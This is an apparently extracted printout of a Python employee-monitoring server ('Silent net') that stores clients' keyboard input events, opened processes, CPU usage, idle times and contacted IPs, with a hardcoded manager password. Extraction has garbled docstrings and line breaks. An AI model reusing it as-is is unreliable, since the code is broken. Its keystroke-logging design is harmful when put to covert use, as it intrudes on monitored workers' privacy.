        INPUT: conn, cursor, table_name
        OUTPUT: None
        @conn: Existing SQLite connection object
        @cursor: Existing SQLite cursor object
        @table_name: Name of the primary table
        self.conn = conn
        self.cursor = cursor
        self.table_name : str = table_name
        # Create tables if they do not exist
        if table_name.endswith("logs"):
            self.commit('''
            CREATE TABLE IF NOT EXISTS logs (
                id INTEGER NOT NULL,
                type TEXT NOT NULL,
                data BLOB NOT NULL,
                count NUMERIC NOT NULL DEFAULT 1
            );
            ''')
            self.commit('CREATE INDEX IF NOT EXISTS
            idx_logs_uid_type ON logs(id, type);')
        elif table_name.endswith("uid"):
            self.commit('''
```

```
CREATE TABLE IF NOT EXISTS uid (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            mac TEXT NOT NULL,
            hostname TEXT NOT NULL UNIQUE,
            original hostname TEXT
        );
        ''')
        self.commit('CREATE INDEX IF NOT EXISTS
        idx_uid_hostname ON uid(hostname)')
@staticmethod
def connect_DB(db_name : str) -> tuple:
        Establish connection with DB
        INPUT: Str
        OUTPUT: tuple
    11 11 11
    conn = sqlite3.connect(db_name, check_same_thread=False)
    return conn, conn.cursor()
@staticmethod
def close_DB(cursor, conn):
    Closes connection to database
    INPUT: cursor, conn
    OUTPUT: None
    11 11 11
    try:
        if conn: # Check if the connection is still open
            cursor.close()
            conn.close()
    except Exception as e:
        print(f"Error closing database connection: {e}")
def clean_deleted_records_DB(self):
    11 11 11
        Cleans all deleted records from the table
        INPUT: None
        OUTPUT: None
    command = "VACUUM"
    self.commit(command)
def delete_all_records_DB(self):
    11 11 11
        Deletes all records from the table
        INPUT: None
        OUTPUT: None
```

```
command = f"DELETE FROM {self.table_name}"
        self.commit(command)
        self.clean deleted records DB()
    def commit(self, command: str, *command_args):
            Commits a command to database
            INPUT: command, command_args
            OUTPUT: Return value of sql commit
            @command: SQL command to execute
            @command_args: Arguments for the command
        11 11 11
        ret_data = ""
        with DBHandler._lock:
            if not self.conn or not self.cursor:
                raise ValueError("Database connection not established")
            try:
                self.cursor.execute(command, command_args)
                ret_data = self.cursor.fetchall()
                self.conn.commit()
            except Exception as e:
                self.conn.rollback()
                # Reset cursor
                self.cursor = self.conn.cursor()
                print(f"Commit DB exception {e}")
        return ret_data
class UserLogsORM (DBHandler):
    11 11 11
        Singleton implementation of UserLogsORM inheriting from
        DBHandler
    11 11 11
    USER_LOGS_NAME = "logs"
    _lock = threading.Lock()
    _instance = None
    def __new__(cls, conn, cursor, table_name: str):
        11 11 11
            Ensure singleton instance and initialize with existing
            connection and cursor.
```

```
INPUT: cls
        OUTPUT: None
    with cls._lock:
        if cls. instance is None:
            cls._instance = super(UserLogsORM, cls).__new__(cls)
        return cls._instance
def __init__(self, conn, cursor, table_name: str):
    Initialize the instance, but only once.
    if not hasattr(self, 'conn') or self.conn is None:
        super().__init__(conn, cursor, table_name)
def client_setup_db(self, id : int) -> None:
        Writes basic logs that need to be for every client when
        connected
        Writes when client first logged in (Also writes last
        client input event with the same time)
        Writes an empty record of inactive times
        Writes an empty record of cpu usages
        INPUT: id
        OUTPUT: None
        @id: Id of client
    11 11 11
    cur_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    # First log of client
    command = f"INSERT INTO {self.table_name} (id, type, data)
    VALUES (?,?,?);"
    self.commit(command, id,
    MessageParser.CLIENT_FIRST_INPUT_EVENT, cur_time)
    # "Last" log of client (it's not really the last time, it's
    just a record for next when client logs again)
    command = f"INSERT INTO {self.table_name} (id, type, data)
    VALUES (?,?,?);"
    self.commit(command, id,
    MessageParser.CLIENT_LAST_INPUT_EVENT, cur_time)
    # Empty record of inactive times
    command = f"INSERT INTO {self.table_name} (id, type, data)
    VALUES (?,?,'');"
    self.commit(command, id, MessageParser.CLIENT_INACTIVE_EVENT)
    # Empty record of cpu usage
    command = f"INSERT INTO {self.table_name} (id, type, data)
```

VALUES (?,?,'');"

```
self.commit(command, id, MessageParser.CLIENT_CPU_USAGE)
def delete id records DB(self, id : int):
        Deletes all records from the table for a specific client ID
        INPUT: id
        OUTPUT: None
        @id: Id of client
    11 11 11
    command = f"DELETE FROM {self.table_name} WHERE id = ?"
    self.commit(command, id)
    self.clean_deleted_records_DB()
def __check_inactive(self, id : int) -> tuple[str, int]:
    11 11 11
        Checks if client is currently inactive
        INPUT: int
        OUTPUT: Tuple conists of last datetime in string format
        client was active and the amount of minutes currently
        inactive
        @id: Id of client
    11 11 11
    cur_time = datetime.now()
    command = f"SELECT data FROM {self.table_name} WHERE id = ?
    AND type = ?;"
    date_str = self.commit(command, id,
    MessageParser.CLIENT_LAST_INPUT_EVENT)[0][0]
    date = datetime.strptime(date_str , "%Y-%m-%d %H:%M:%S")
    inactive_time = int((cur_time - date).total_seconds() // 60)
    # Inactive time is considered above five minutes
    if inactive_time > 5:
        return date_str, inactive_time
    return None, None
def __update_last_input(self, id : int) -> None:
    11 11 11
        Updates last time user logged input event
        INPUT: id
        OUTPUT: None
        @id: Id of client
    11 11 11
```

```
# Check if client is inactive until now, if so log it
    date, inactive_time = self.__check_inactive(id)
    if date:
        # Get string of inactive times
        # String format -> datetime of inactive, inactive minutes
        # Example: 2025-10-10 20:20:20,10~2025-10-10 20:20:30,7~
        command = f"SELECT data FROM {self.table_name} WHERE id
        = ? AND type = ?;"
        data = self.commit(command, id,
        MessageParser.CLIENT_INACTIVE_EVENT)[0][0]
        data += f"{date},{inactive_time}~"
        command = f"UPDATE {self.table_name} SET data = ? WHERE
        id = ? AND type = ?;"
        self.commit(command, data, id,
        MessageParser.CLIENT_INACTIVE_EVENT)
    command = f"UPDATE {self.table_name} SET data = ? WHERE id
    = ? AND type = ?;"
    cur_time = datetime.now()
    cur_time = cur_time.strftime("%Y-%m-%d %H:%M:%S")
    self.commit(command, cur_time, id,
    MessageParser.CLIENT_LAST_INPUT_EVENT)
def __get_total_active_time(self, id : int) -> int:
        Calculates total active time of user
        INPUT: int
        OUTPUT: Integer - minutes amount of active time
        @id: Id of client
    11 11 11
    command = f"SELECT data FROM {self.table_name} WHERE id = ?
    AND type = ?;"
    first_input = datetime.strptime(self.commit(command, id,
    MessageParser.CLIENT_FIRST_INPUT_EVENT)[0][0], "%Y-%m-%d
    %H:%M:%S")
    last_input = datetime.strptime(self.commit(command, id,
    MessageParser.CLIENT_LAST_INPUT_EVENT)[0][0], "%Y-%m-%d
    %H:%M:%S")
    return (last_input - first_input).total_seconds() // 60
def __update_cpu_usage(self, id: int, data : bytes) -> None:
    11 11 11
        Updates cpu usage queuery
```

```
INPUT: id, data
        OUTPUT: None
        @id: Id of client
        @data: Bytes of data
    11 11 11
    command = f"SELECT data FROM {self.table_name} WHERE id = ?
    AND type = ?;"
    cpu_logs = self.commit(command, id,
    MessageParser.CLIENT_CPU_USAGE)[0][0]
    if isinstance(cpu_logs, str):
        cpu_logs = cpu_logs.encode()
    cpu_logs += data + b" | "
    command = f"UPDATE {self.table_name} SET data = ? WHERE id
    = ? AND type = ?;"
    self.commit(command, cpu_logs, id,
    MessageParser.CLIENT_CPU_USAGE)
def insert_data(self, id: int, data_type: str, data: bytes) -> None:
        Insert data to SQL table, if record already exists
        incement its counter
        INPUT: id, data_type, data
        OUTPUT: None
        @id: Id of client
        @data_type: Type of data to be inserted
        @data: Bytes of data
    11 11 11
    if data_type == MessageParser.CLIENT_CPU_USAGE:
        self.__update_cpu_usage(id, data)
        return
    command = f"SELECT count FROM {self.table_name} WHERE id =
    ? AND type = ? AND data = ?;"
    count = self.commit(command, id, data_type, data)
    # If got count -> count exists -> row exists
    if count:
        count = count[0][0] + 1
        command = f"UPDATE {self.table_name} SET count = ?
        WHERE id = ? AND type = ? AND data = ?;"
        self.commit(command, count, id, data_type, data)
    else:
        command = f"INSERT INTO {self.table_name} (id, type,
```

```
data) VALUES (?,?,?);"
        self.commit(command, id, data_type, data)
    # Check if it is an input event
    if data_type == MessageParser.CLIENT_INPUT_EVENT:
        self.__update_last_input(id)
# Statistics done with DB
def get_process_count(self, id : int) -> list[tuple[str, int]]:
        Gets the amount of times each process was opened for a
        certain client
        INPUT: id
        OUTPUT: List of tuples of the name of the process and
        amount of times was opened
        @id: Id of client
    11 11 11
    command = f"SELECT data, count FROM {self.table_name} WHERE
    type = ? AND id = ?;"
    return self.commit(command,
    MessageParser.CLIENT_PROCESS_OPEN, id)
def get_inactive_times(self, id : int) -> list[tuple[datetime,
str]]:
        Calculates idle times of user
        INPUT: id
        OUTPUT: List of Tuples of the datetime the user went
        idle and the time of idleness
        @id: Id of client
    11 11 11
    # Check if currently inactive
    date, inactive_time = self.__check_inactive(id)
    command = f"SELECT data FROM {self.table_name} WHERE type =
    ? AND id = ?;"
    dates = self.commit(command,
    MessageParser.CLIENT_INACTIVE_EVENT, id)[0][0]
    if date:
        dates += f"{date}, {inactive_time}"
    dates = dates.split("~")
    return [i.split(",") for i in dates], True if date else False
def get_wpm(self, id : int, inactive_times :
```

```
list[tuple[datetime, int]], inactive_after_last : bool) -> int:
        Calculates the average wpm the user does while
        excluding inactive times
        INPUT: id, inactive
        OUTPUT: Integer
        @id: Id of client
        @inactive_times: Pre calculated inactive times of user
        @inactive_after_last: Boolean to indicate if inactive
        times include time after last logged input event
    11 11 11
    # Calculate total inactive time in minutes
    if inactive_after_last:
        inactive_times = inactive_times[:-1]
    total_inactive = sum(int(i[1]) for i in inactive_times if i
    != '' \text{ and len(i)} > 1)
    # Get word count, 57 is the translation for space char in
    input_event in linux
    # Checks for data which has space char in it
    command = f"SELECT count FROM {self.table_name} WHERE type
    = ? AND data LIKE '%57%' AND id = ?;"
    words_cnt = self.commit(command,
    MessageParser.CLIENT_INPUT_EVENT, id)
    words_cnt = words_cnt[0][0] if words_cnt else 0 # Extract
    value safely
    # Get first input timestamp
    command = f"SELECT data FROM {self.table_name} WHERE type =
    ? AND id = ?;"
    first_input = datetime.strptime(self.commit(command,
    MessageParser.CLIENT_FIRST_INPUT_EVENT, id)[0][0],
    "%Y-%m-%d %H:%M:%S")
    last_input = datetime.strptime(self.commit(command,
    MessageParser.CLIENT_LAST_INPUT_EVENT, id)[0][0], "%Y-%m-%d
    %H:%M:%S")
    # Calculate active time in minutes
    active_time = ((last_input - first_input).total_seconds() -
    total_inactive * 60) / 60
    active_time = max(active_time, 1) # Prevent division by zero
    return words_cnt // active_time
def get_cpu_usage(self, id: int):
        Gets all logs of cpu usage
        INPUT: id
```

```
OUTPUT: Tuple of Dictionary of cpu cores and their
        usages and list of times of logs
        @id: Id of client
    11 11 11
    command = f"SELECT data FROM {self.table_name} WHERE id = ?
    AND type = ?;"
    cores_logs = self.commit(command, id,
    MessageParser.CLIENT_CPU_USAGE)[0][0]
    if isinstance(cores_logs, str):
        cores_logs = cores_logs.encode()
    cores_logs = cores_logs.split(b"|")
    logs = [log for i in cores_logs if len(i) > 1 for log in
    i.split(MessageParser.PROTOCOL_SEPARATOR)]
    cpu_usage_logs = []
    core_usage = {}
    for log in logs:
        log = log.decode().split(",")
        core, usage = log[:2]
        if core not in core_usage:
            core_usage[core] = []
        core_usage[core].append(int(usage))
        if len(log) == 3:
            cpu_usage_logs.append(log[2])
    return core_usage, cpu_usage_logs
def get_active_precentage(self, id: int) -> int:
        Calculates the percentage of time user was active
        INPUT: id
        OUTPUT: Integer
    11 11 11
    inactive_time, _ = self.get_inactive_times(id)
    total_inactive = sum(int(i[1]) for i in inactive_time if i
    != '' \text{ and len(i)} > 1)
    total_active = self.__get_total_active_time(id)
    if total_active + total_inactive == 0:
        return 100
    return int((total_active / (total_active + total_inactive))
    * 100)
```

server - DB.py

```
def get_reached_out_ips(self, id : int) -> list[str]:
        11 11 11
            Gets all the reached out IP addresses of a certain client
            INPUT: id
            OUTPUT: List of strings of IP addresses
            @id: Id of client
        11 11 11
        command = f"SELECT data, count FROM {self.table_name} WHERE
        id = ? AND type = ?;"
        return self.commit(command, id,
        MessageParser.CLIENT_IP_INTERACTION)
class UserId (DBHandler):
    USER_ID_NAME = "uid"
    _lock = threading.Lock()
    instance = None
    def __new__(cls, conn, cursor, table_name: str):
        11 11 11
            Ensure singleton instance and initialize with existing
            connection and cursor.
            INPUT: conn, cursor, table_name
            OUTPUT: None
        11 11 11
        with cls._lock:
            if cls._instance is None:
                cls._instance = super(UserId, cls).__new__(cls)
            return cls._instance
    def __init__(self, conn, cursor, table_name: str):
        Initialize the instance, but only once.
        if not hasattr(self, 'conn') or self.conn is None:
            super().__init__(conn, cursor, table_name)
    def delete_user(self, id : int) -> None:
        11 11 11
            Deletes a certain id address from the table
            INPUT: id
            OUTPUT: None
            @id: Id of client
        11 11 11
```

command = f"DELETE FROM {self.table_name} WHERE id = ?;"

server - DB.py

```
self.commit(command, id)
    self.clean deleted records DB()
def insert_data(self, mac: str, hostname : str, id : int = -1)
-> tuple[bool, int]:
    11 11 11
        Insert data to SQL table, checks if mac already in use
        or hostname
        If mac already in use then do not insert
        If hostname then change the hostname and insert
        INPUT: mac, hostname
        OUTPUT: Boolean indicating if already in use and the id
        of the client
        @mac: MAC address of user's computer
        @hostname: User's computer hostname
        @id: Id of client
    id_command = f"SELECT id FROM {self.table_name} WHERE mac =
    ? AND hostname = ?;"
    command = f"SELECT hostname FROM {self.table_name} WHERE
    mac = ? AND hostname = ?;"
    output = self.commit(command, mac, hostname)
    if output:
        print(f"\n{mac}, hostname: {hostname} -> Have already
        logged in before")
        return True, self.commit(id_command, mac, hostname)[0][0]
        command = f"SELECT hostname FROM {self.table_name}
        WHERE mac = ? AND original_hostname = ?;"
        output = self.commit(command, mac, hostname)
        if output:
            print(f"\n{mac}, hostname: {hostname} -> Have
            already logged in before")
            id_command = f"SELECT id FROM {self.table_name}
            WHERE mac = ? AND original_hostname = ?;"
            return True, self.commit(id_command, mac,
            hostname)[0][0]
    # Fetch all hostnames starting with the given hostname
    command = f"SELECT hostname FROM {self.table_name} WHERE
    hostname LIKE ? | '%';"
    results = self.commit(command, hostname)
    hostnames = {row[0] for row in results}
    new_hostname = hostname
```

if new_hostname in hostnames:

server - DB.py

```
while f"{hostname}{i}" in hostnames:
            i += 1
        new_hostname = f"{hostname}{i}"
    if id == -1:
        command = f"INSERT OR IGNORE INTO {self.table_name}
        (mac, hostname, original_hostname) VALUES (?, ?, ?);"
        self.commit(command, mac, new_hostname, hostname)
        return False, self.commit(id_command, mac,
        new_hostname)[0][0]
    command = f"INSERT OR IGNORE INTO {self.table_name} (id,
    mac, hostname, original_hostname) VALUES (?, ?, ?, ?);"
    self.commit(command, id, mac, new_hostname, hostname)
    return False, id
def update_name(self, prev_name : str, new_name : str):
        Manager changes a name for a client
        INPUT: prev_name, new_name
        OUTPUT: None
        @prev_name: Previous name of client
        @new_name: New name of client changed by manager
    11 11 11
    command = f"UPDATE {self.table_name} SET hostname = ? WHERE
    hostname = ?;"
    self.commit(command, new_name, prev_name)
def check_user_existence(self, hostname : str) -> int:
        Checking for a certain client to see if already connected
        INPUT: hostname
        OUTPUT: int
        @hostname: hostname of user's computer
    11 11 11
    command = f"SELECT COUNT(*) FROM {self.table_name} WHERE
    hostname = ?;"
    return self.commit(command, hostname)[0][0] > 0
def get_clients(self) -> list[tuple[int, str]]:
    11 11 11
        Gets all data on clients int and hostname
        INPUT: None
        OUTPUT: list[tuple[int, str]]
```

11 11 11

```
command = f"SELECT id, hostname FROM {self.table_name}"
    clients = self.commit(command)
    return clients
def get_mac_by_id(self, id : int) -> str:
        Gets the according MAC address of a computer by id
        INPUT: id
        OUTPUT: str
        @id: Id of wanted computer
    11 11 11
    command = f"SELECT mac FROM {self.table_name} WHERE id = ?;"
    return self.commit(command, id)[0][0]
def get_id_by_hostname(self, hostname : str) -> str:
        Gets the according MAC address of a computer by hostname
        INPUT: hostname
        OUTPUT: str
        @hostname: Hostname of wanted computer
    11 11 11
    command = f"SELECT id FROM {self.table_name} WHERE hostname
    return self.commit(command, hostname)[0][0]
```

server\filter - process_filter.py

```
ignored_processes = {
    # Kernel threads and low-level
    "kthreadd", "rcu_sched", "rcu_bh", "migration", "ksoftirqd",
    "kworker",
    "kdevtmpfs", "kauditd", "kswapd", "watchdog", "bioset", "crypto",
    "scsi_eh", "kpsmoused", "ipv6_addrconf", "systemd",
    "systemd-kthread",
   # Init/system base
    "init", "systemd-journald", "systemd-logind", "systemd-udevd",
    "systemd-timesyncd", "systemd-resolved", "systemd-networkd",
    "upstart", "rsyslogd", "cron", "atd", "dbus-daemon", "login",
    "agetty",
    "polkitd", "udisksd", "colord", "fwupd", "rtkit-daemon",
    "accounts-daemon",
    "ubuntu-advantag", "livepatch-notif", "check-new-relea",
    "lsb_release",
    # Udev-related
    "udevd", "systemd-udevd", "udevadm", "eudev", "devtmpfs", "mdev",
    # Network / system services
    "sshd", "avahi-daemon", "wpa_supplicant", "NetworkManager",
    "ModemManager",
    "rpcbind", "nscd", "dnsmasq", "cupsd", "bluetoothd",
    "nm-dispatcher",
    # Display/session managers
    "gdm", "gdm3", "lightdm", "sddm", "Xorg", "X", "xwayland",
    "wayland-0",
    "gnome-session", "gnome-shell", "plasmashell", "kwin_x11",
    "kwin_wayland",
    # Sound, input, graphical services
    "pulseaudio", "pipewire", "pipewire-media-session", "wireplumber",
    "gsettings", "dconf-service", "gnome-keyring-daemon", "gconfd-2",
   # Tracker / GVFS / indexing
    "tracker-miner-fs", "tracker-store", "tracker-extract",
    "tracker-miner-apps",
    "tracker-writeback", "gvfsd", "gvfsd-fuse",
    "gvfs-udisks2-volume-monitor",
    "gvfs-mtp-volume-monitor", "gvfs-gphoto2-volume-monitor",
    "gdk-pixbuf-quer",
    "gvfs-afc-volume-monitor", "gvfs-goa-volume-monitor", "gjs",
   # Accessibility and session helpers
    "at-spi-bus-launcher", "at-spi2-reqistryd", "brltty",
    "gpg-agent", "gpgv", "gpgconf",
    "seahorse", "evolution-addressbook-factory",
    "evolution-calendar-factory",
```

Snap/Flatpak/sandboxing

server\filter - process_filter.py

```
"snapd", "flatpak", "xdg-document-portal", "xdg-desktop-portal",
"xdg-permission-store", "bubblewrap", "xdg-settings",
"xdg-mime", "pingsender",
# Containers, virtualization
"dockerd", "containerd", "runc", "crio", "podman", "lxcfs",
"libvirtd",
"gemu-system-x86_64", "virtlogd", "virtlockd",
# Misc session/system
"gnome-software", "update-notifier", "packagekitd", "packagekit",
"mission-control-5", "telepathy-*", "boltd", "geoclue",
"ibus-daemon",
"ibus-engine-simple", "ibus-x11", "pactl", "pw-cat", "pw-cli",
"gnome-session-b",
# Firmware and security agents
"fwupd", "fwupd-refresh", "apport", "whoopsie", "kerneloops",
# Firefox internal processes
"Web Content", "RDD Process", "Socket Process", "Privileged Cont",
"Utility Process", "Sandbox", "Isolated Web Co", "Forked",
"plugin-cont", "WebExtensions", "Sandbox Forked",
"WebKitNetworkPr", "WebKitWebProces",
"apt-key", "apt-config", "apt-check",
# Snap-related
"snap", "snapd", "snap-exec", "snap-confine", "snap-rev",
"snap-update",
"snap-desktop-launch", "snap-seccomp", "snapctl", "snap-store",
# XDG / Desktop helpers
"XdgDesktop", "XdgTerms", "Isolated Servic", "app", "5",
"pigzreader",
"desktop-launch", "glxtest", "MainThread",
# Background ubuntu tasks
"evolution-sourc", "evolution-calen"
```

}

server\filter - process_limit.py

```
import time
from collections import OrderedDict
TIME_LIMIT = 3 # seconds
MAX_PROCESSES = 1000 # Max amount of processes
class ProcessDebouncer:
    def __init__(self, time_limit=TIME_LIMIT,
    max_processes=MAX_PROCESSES):
        self.time_limit : int = time_limit
        self.max_processes : int = max_processes
        self.cache : OrderedDict = OrderedDict()
    def should_log(self, process_name : str) -> bool:
            Check if the process should be logged based on the time
            limit and max processes.
            INPUT: process_name
            OUTPUT: Wether the process should be logged or not
            @process_name: The name of the process to check
        cur_time = time.time()
        if process_name in self.cache:
            last_time = self.cache[process_name]
            if cur_time - last_time < self.time_limit:</pre>
                return False
            # Signal that the process has been used
            # Therefore when we would remove processes to reduce weight
            # This process is unlikely to be removed
            self.cache.move_to_end(process_name)
        self.cache[process_name] = cur_time
        if len(self.cache) > self.max_processes:
            self.cache.popitem(last=False)
        return True
```

```
'Silent net' project server implementation
This module contains the server-side implementation for the Silent
net project.
It handles client connections, manages communication, and
interfaces with the database.
Omer Kfir (C)
11 11 11
import sys
import threading
import os
import json
from time import sleep
from random import uniform
from keyboard import on_press_key
from socket import timeout
import traceback
# Append parent directory to be able to import protocol
path = os.path.dirname(__file__)
sys.path.append(os.path.abspath(os.path.join(path, '../shared')))
from protocol import *
from DB import *
from filter import process_limit
__author__ = "Omer Kfir"
class SilentNetServer:
    Main server class that handles all server operations including:
    - Client connections
    - Manager connections
    - Database operations
    - Server configuration
    11 11 11
    def __init__(self):
        """Initialize server with default configuration"""
        self.max_clients : int = 5
        self.safety : int = 5
        self.password : str = "itzik"
        self.proj_run : bool = True
        self.manager_connected : bool = False
        self.clients_connected : list[threading.Thread, client] =
            # List of (thread object, client object)
        self.ids_connected : list[int] = [] # List of ids of
        connected clients
```

self.ids_lock : threading.Lock = threading.Lock()

```
self.clients_recv_event : threading.Event = threading.Event()
    self.clients_recv_lock : threading.Lock = threading.Lock()
    self.log data base : UserLogsORM = None
    self.uid_data_base : UserId = None
    self.server comm : server = None
def start(self):
    """Start the server with configured settings"""
    self._load_configuration()
    self._initialize_databases()
    self._setup_keyboard_shortcuts()
    self._run_server()
    print("Server shutting down...")
def _load_configuration(self):
    """Load server configuration from command line or use
    defaults"""
    if len(sys.argv) == 4:
        if sys.argv[1].isnumeric() and sys.argv[2].isnumeric():
            if 1 <= int(sys.argv[1]) <= 40:</pre>
                self.max_clients = int(sys.argv[1])
            else:
                print("Warning: Max clients must be between 1
                and 40")
                print("Using default value instead")
            if 1 <= int(sys.argv[2]) <= 5:
                self.safety = int(sys.argv[2])
            else:
                print("Warning: Safety parameter must be
                between 1 and 5")
                print("Using default value instead")
            self.password = sys.argv[3]
        else:
            print("Warning: Client max and safety params must
            be numerical")
            print("Using default values instead")
    else:
        print("Using default configuration values")
        print("Usage: python server.py <max_clients:int>
        <safety:int> <password:str>\n\n")
    print(f"Server running with configuration:\nMax clients:
    {self.max_clients}\n"
          f"Safety: {self.safety}\nPassword: {self.password}\n\n"
          "Press 'q' to quit server\nPress 'e' to erase all logs\n")
def _initialize_databases(self):
    """Initialize database connections"""
    db_path = os.path.join(os.path.dirname(__file__),
```

UserId.DB_NAME)

```
conn1, cursor1 = DBHandler.connect_DB(db_path)
    conn2, cursor2 = DBHandler.connect_DB(db_path)
    self.log_data_base = UserLogsORM(conn1, cursor1,
    UserLogsORM.USER LOGS NAME)
    self.uid_data_base = UserId(conn2, cursor2, UserId.USER_ID_NAME)
def _setup_keyboard_shortcuts(self):
    """Setup keyboard shortcuts for server control"""
    on_press_key('q', lambda _: self.quit_server())
    on_press_key('e', lambda _: self.erase_all_logs())
def _run_server(self):
    """Main server loop to accept and handle client connections"""
    try:
        self.server_comm = server(self.safety)
        self.server_comm.set_timeout(1)
        self._accept_clients()
    finally:
        self._cleanup()
def _accept_clients(self):
    """Accept and manage incoming client connections"""
    while self.proj_run:
        try:
            if len(self.clients_connected) < self.max_clients</pre>
            or not self.manager_connected:
                client = self.server_comm.recv_client()
                client_thread =
                threading.Thread(target=self._handle_client_con
                nection, args=(client,))
                with self.clients_recv_lock:
                    self.clients_connected.append((client_threa
                    d, client))
                client_thread.start()
                with self.clients_recv_lock:
                    if len(self.clients_connected) >=
                    self.max_clients:
                        self.clients_recv_event.clear()
            else:
                self.clients_recv_event.wait()
        except timeout:
            pass
        except OSError:
            print("\nServer socket closed")
            break
        except Exception as e:
            print(f"Error accepting client: {e}")
            print(traceback.format_exc())
```

```
def _handle_client_connection(self, client : client):
    """Determine client type and route to appropriate handler"""
    data =
    client.protocol_recv(MessageParser.PROTOCOL_DATA_INDEX,
    decrypt=False, decompress=False)
    if data == b'' or (isinstance(data, list) and
    data[0].decode() == MessageParser.MANAGER_CHECK_CONNECTION)
    or data == b'ERR':
        self._remove_disconnected_client(client)
        return
    msg_type = data[0].decode()
    if len(self.clients_connected) >= self.max_clients and
    msg_type == MessageParser.CLIENT_MSG_AUTH:
        self._remove_disconnected_client(client)
        return
    if msq_type == MessageParser.MANAGER_MSG_PASSWORD and
    self.manager_connected:
        client.protocol_send(MessageParser.MANAGER_ALREADY_CONN
        ECTED, encrypt=False)
        self._remove_disconnected_client(client)
        return
    if self._determine_client_type(client, msg_type, data[1] if
    len(data) > 1 else b''):
        self.manager_connected = False
    if self.proj_run:
        self._remove_disconnected_client(client)
def _determine_client_type(self, client, msg_type, msg):
    """Determine if client is manager or employee and handle
    accordingly"""
    if msg_type == MessageParser.MANAGER_MSG_PASSWORD:
        return self._handle_manager_connection(client, msg)
    elif msg_type == MessageParser.CLIENT_MSG_AUTH:
        self._handle_employee_connection(client, msg)
    return False
def _handle_manager_connection(self, client, msg):
    """Handle manager authentication and connection"""
    ret_msg_type = MessageParser.MANAGER_INVALID_CONN
    client.exchange_keys()
    msg = client.protocol_recv(MessageParser.PROTOCOL_DATA_INDEX)
    if msq != b'':
        msg = msg[MessageParser.PROTOCOL_DATA_INDEX - 1].decode()
    if msg == self.password:
        ret_msg_type = MessageParser.MANAGER_VALID_CONN
        self.manager_connected = True
```

```
sleep(uniform(0, 1)) # Prevent timing attack
    client.protocol_send(ret_msg_type)
    if ret_msg_type == MessageParser.MANAGER_VALID_CONN:
        ManagerHandler(self, client).process_requests()
    return True
def _handle_employee_connection(self, client, msg):
    """Handle employee authentication and connection"""
    id = -1
    try:
        mac, hostname =
        MessageParser.protocol_message_deconstruct(msg)
        mac, hostname = mac.decode(), hostname.decode()
        logged, id = self.uid_data_base.insert_data(mac, hostname)
        with self.ids_lock:
            self.ids_connected.append(id)
        client.set_address(mac)
        if not logged:
            self.log_data_base.client_setup_db(id)
        ClientHandler(self, client, id).process_data()
    except Exception:
        print(f"Rejecting client {client.get_ip()} due to
        invalid authentication")
        client.close()
        if id in self.ids_connected:
            with self.ids_lock:
                self.ids_connected.remove(id)
def _remove_disconnected_client(self, client):
    """Remove disconnected client from connected clients list"""
    if not client:
        return
    with self.clients_recv_lock:
        for index in range(len(self.clients_connected)):
            _, client_object = self.clients_connected[index]
            if client_object == client:
                del self.clients_connected[index]
                break
    client.close()
    client = None
```

```
with self.clients_recv_lock:
            if len(self.clients_connected) < self.max_clients:</pre>
                self.clients recv event.set()
   def erase_all_logs(self):
        """Erase all logs from the database"""
        with DBHandler._lock:
            self.log_data_base.delete_all_records_DB()
            clients = self.uid_data_base.get_clients()
            for id, _ in clients:
                self.log_data_base.client_setup_db(id)
        print("\nErased all logs")
   def quit_server(self):
        """Shut down the server gracefully"""
        self.server_comm.close()
        self.proj_run = False
   def _cleanup(self):
        """Clean up server resources before shutdown"""
        with self.clients_recv_lock:
            for client_thread, _ in self.clients_connected:
                client_thread.join()
        DBHandler.close_DB(self.log_data_base.cursor,
        self.log_data_base.conn)
        DBHandler.close_DB(self.uid_data_base.cursor,
        self.uid_data_base.conn)
        self.log_data_base.conn, self.log_data_base.cursor = None, None
        self.uid_data_base.conn, self.uid_data_base.cursor = None, None
class ClientHandler:
    """Handles communication with employee clients"""
   def __init__(self, server : SilentNetServer, client : client ,
    id : int):
        self.server : SilentNetServer = server
        self.client = client
        self.id : int = id
        # Dictionary for repeated processes
        self.processManager : process_limit.ProcessDebouncer =
        process_limit.ProcessDebouncer()
   def process_data(self):
        """Process data received from employee client"""
        print(f"\nEmployee connected: {self.client.get_ip()}")
```

```
while self.server.proj_run:
        try:
            data =
            self.client.protocol_recv(MessageParser.PROTOCOL_DA
            TA_INDEX, decrypt=False, decompress=False)
            if data == b'ERR':
                continue
            if data == b'' or len(data) != 2:
                break
            log_type, log_params = data[0], data[1]
            log_type = log_type.decode()
            # Ignore process which are usually not used by the user
            if log_type == MessageParser.CLIENT_PROCESS_OPEN:
                log_params = log_params.decode()
                if log_params in process_filter.ignored_processes:
                    continue
                if not self.processManager.should_log(log_params):
                    continue
            if log_type in MessageParser.CLIENT_ALL_MSG:
                self.server.log_data_base.insert_data(self.id,
                log_type, log_params)
            else:
                self._handle_unsafe_message()
        except Exception as e:
            print(f"Error from client
            {self.client.get_address()}: {e}")
            print(traceback.format_exc())
            self._handle_unsafe_message()
    self._cleanup_disconnection()
def _handle_unsafe_message(self):
    """Handle unsafe/invalid messages from client"""
    disconnect = self.client.unsafe_msq_cnt_inc(self.server.safety)
    if disconnect:
        with DBHandler._lock:
            self.server.log_data_base.delete_id_records_DB(self.id)
            self.server.uid_data_base.delete_user(self.id)
        print("Disconnecting employee due to unsafe message count")
        return True
    return False
```

def _cleanup_disconnection(self):

```
"""Clean up when client disconnects"""
        self.client.close()
        # Remove from list of currently connected macs
        # In order to sign to manager that the client is not
        connected anymore
        if self.server.proj_run and self.id in
        self.server.ids_connected:
            with self.server.ids_lock:
                self.server.ids_connected.remove(self.id)
       print(f"\nEmployee disconnected: {self.client.get_ip()}")
class ManagerHandler:
    """Handles communication with manager clients"""
   def __init__(self, server : SilentNetServer, client : str):
        self.server = server
        self.client = client
   def process_requests(self):
        """Process manager requests"""
        print(f"\nManager connected: {self.client.get_ip()}")
        while self.server.proj_run:
            try:
                ret_msg = []
                ret_msg_type = ""
                manager_disconnect = False
                data =
                self.client.protocol_recv(MessageParser.PROTOCOL_DA
                TA_INDEX)
                if data == b'ERR':
                    continue
                if data == b'':
                    break
                msg_type = data[0].decode()
                msg_params = data[1] if len(data) > 1 else ""
                if msg_type == MessageParser.MANAGER_SND_SETTINGS:
                    self._handle_settings_update(msg_params)
                elif msg_type == MessageParser.MANAGER_GET_CLIENTS:
                    ret_msg, ret_msg_type = self._get_client_list()
                elif msq_type == MessageParser.MANAGER_GET_CLIENT_DATA:
                    ret_msg, ret_msg_type =
